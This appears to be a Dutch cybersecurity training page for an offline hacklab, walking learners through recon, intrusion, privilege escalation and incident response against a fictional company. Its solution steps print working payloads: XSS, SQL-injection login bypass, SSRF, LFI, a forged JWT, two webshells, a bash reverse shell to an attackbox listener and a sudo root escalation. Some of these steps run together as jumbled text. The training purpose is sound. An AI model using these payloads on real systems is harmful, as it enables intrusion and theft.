Browser attackbox
Direct aan de slag als haxor. Open twee tabs voor een listener en je onderzoek.
CyberPulse · Novento live hacklab
Doorloop Ciphers aanval in vier missies. Test zelf, bewaar je bewijs en koppel elke techniek aan een verdedigingsmaatregel.
Jouw tijdelijke werkomgeving
Direct aan de slag als haxor. Open twee tabs voor een listener en je onderzoek.
Download je persoonlijke profiel op de startpagina. Doel- en listeneradres staan bovenaan het profiel.
Beheer & OpenVPNBewaar de phishingmail, volg je 16 technieken en lever Jan- en rootbewijs in.
Scope: alleen deze Novento-instance. Labmachines en VPN hebben geen internettoegang. Browserdoel http://novento-lab:8080 · listener attackbox.
Loop eerst de normale gebruikersroute. Zo herken je daarna sneller waar invoer, autorisatie en serverfuncties de bedoelde grens overschrijden.
Hints en stap-voor-stap hulp staan aan.
De Verkenning · Week 1–13
Cipher verzamelt rollen, routines en projectcontext. Sandra breekt in de finale de keten door Karin zelf te bellen.
Leg met bronverwijzingen vast welke informatie over Sandra, Thomas en de twee vestigingen een geloofwaardige benadering mogelijk maakt. Verbind elke observatie aan een concreet risico.
Noteer een naam, rol, vestiging en letterlijk aangetroffen detail. Leg uit hoe verificatie via een bekend nummer de aanval onderbreekt.
Begin bij de openbare site, robots.txt en teamupdates.
Bekijk ook de paginabron. Een versie of projectnaam geeft aanvullende context.
Vergelijk de leveranciersinformatie van Finance met de workshopcontext van Thomas.
Deze stappen komen exact overeen met de volledige oplossing.
Welke informatie moet publiek blijven, en welk detail zou je weghalen of anders delen?
De Inbraak · Week 14–26
Thomas klikt in week 25 maar meldt binnen een minuut. Cipher heeft zes minuten in zijn mailbox. Sarah meldt in de finale als eerste.
Onderzoek reflected input, zwakke authenticatie, SQL-injectie en rolafhankelijke phishing. Scheid een klik van daadwerkelijke toegang.
Bewaar een geslaagde en mislukte loginproef, het originele bericht in Mailpit en een echt HTTP-verzoek op je eigen listener.
Test eerst de gewone functionaliteit en verander daarna één invoerwaarde.
MariaDB herkent # als commentaar. Bij -- is een volgend teken nodig en trimmen van het e-mailveld kan dat lastig maken.
Open de attackbox en Mailpit in aparte tabs. Niet elke rol klikt; de pretext bepaalt het resultaat.
<script>alert(document.domain)</script>. Controleer daarna de vlag op /scoreboard.it-support@noventogroep.nl / Welkom01!. Dit bewijst het weak-password/no-rate-limit pad en ontgrendelt de interne tools.' OR 1=1# en wachtwoord x. Log daarna opnieuw in als IT voor de volgende fase.python3 -m http.server 8000 --bind 0.0.0.0.Factuur en betaalbatch en een link naar http://attackbox:8000/bevestiging.Deze stappen komen exact overeen met de volledige oplossing.
Welke combinatie van MFA, melden en sessies intrekken verkort Ciphers tijd?
De Escalatie · Week 27–39
Rubens account is na zijn vertrek blijven bestaan. MFA was voor de overdracht uitgezet. Sarah legt in de finale de vertrekkerslijst naast de accounts.
Onderzoek alle interne objecten en serverfuncties. Combineer de zwakke plekken tot een echte shell en bewijs vervolgens de gebruikerswissels www-data, Jan en root.
Bewaar id-output vóór en na de wissel, een geweigerde bestandsread, sudo -l en de twee unieke Linux-vlaggen.
Blijf als it-support ingelogd voor de verborgen rapportquery.
De webserver draait als www-data. Gebruik een echte PTY voor su en een tweede terminal voor je listener.
Geen internet nodig: host RFI-inhoud en listeners op de attackbox of het listeneradres uit je OpenVPN-profiel.
it-support@noventogroep.nl / Welkom01!. Open eerst elk onderdeel via het menu Interne tools zodat je de normale functie kent.http://127.0.0.1:8080/internal/metadata. De applicatieserver haalt zijn eigen interne endpoint op.KLANT-1001 en daarna KLANT-1001; id.../../etc/passwd. Gebruik daarna voor LFI ../src/server.js.printf 'Kwartaalrapport {{exec:id}}\n' > /tmp/evil.tpl en start python3 -m http.server 8000 --directory /tmp --bind 0.0.0.0.http://attackbox:8000/evil.tpl. Bij OpenVPN gebruik je het listeneradres uit je profiel.2026-0142 in 2026-0163.novento_jwt en zet de waarde op eyJ1c2VyIjoic2FuZHJhIiwicm9sZSI6ImFkbWluIn0. Herlaad de pagina voor de beheerdersweergave.profielfoto.js, type image/png en als inhoud process.stdout.write(require('node:child_process').execSync(new URLSearchParams(process.env.QUERY_STRING).get('cmd') || 'id'))./uploads/profielfoto.js?cmd=id. Een echte afbeelding blijft data; alleen uitvoerbare scripts worden uitgevoerd.missing'; SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/portal/uploads/report-shell.php'; -- -/uploads/report-shell.php?cmd=id. De database heeft nu zelf een werkende PHP-webshell geschreven.nc -lvnp 4444. Open daarna in de browser /tools?dossier=; nohup bash -c 'bash -i >& /dev/tcp/attackbox/4444 0>&1' >/tmp/r.log 2>&1 &. Bij OpenVPN vervang je attackbox door het listeneradres uit je profiel.id en cat /home/jan/notes.txt. Lees het backuptoken met cat /var/www/portal/.env.python3 -c 'import pty; pty.spawn(["su","jan"])'. Wachtwoord: JAN-BACKUP-TOKEN-APRIL.cat /home/jan/notes.txt en controleer sudo -l.sudo /usr/local/bin/wp-maintenance --exec /bin/bash en lees /root/root.txt.Deze stappen komen exact overeen met de volledige oplossing.
Welke controle had Rubens toegang beëindigd, en welke combinatie van query-, bestands- en sudo-beperkingen stopt de technische escalatie?
De Tegenstand · Week 40–52
De besmette leveranciersupdate raakt één server. Mila merkt het vrijdag om 07:44, belt Jan om 07:54; om 08:00 belt Jan Karin. Herstel komt uit de kopie van dinsdagavond.
Maak een tijdlijn uit je eigen bewijsmateriaal. Scheid waarnemingen van aannames en kies wat je isoleert, welk bewijs je bewaart en hoe je herstel controleert.
Lever minimaal drie gebeurtenissen met tijdstip en bron, een eerste melding en een herstelcontrole. Gebruik uitsluitend fictieve gegevens.
Begin met het originele bericht en je listenerlog; laat de mailbox als bewijs staan.
Gebruik het incidentdossier voor de canon en je eigen proef voor technische observaties. Meng die tijdlijnen niet.
Root behalen sluit de training niet af. Leg uit hoe segmentatie en Sarahs opschoning de schade beperken.
Deze stappen komen exact overeen met de volledige oplossing.
Wie meldt wat aan Jan en Karin, en hoe toon je dat een teruggezette kopie betrouwbaar is?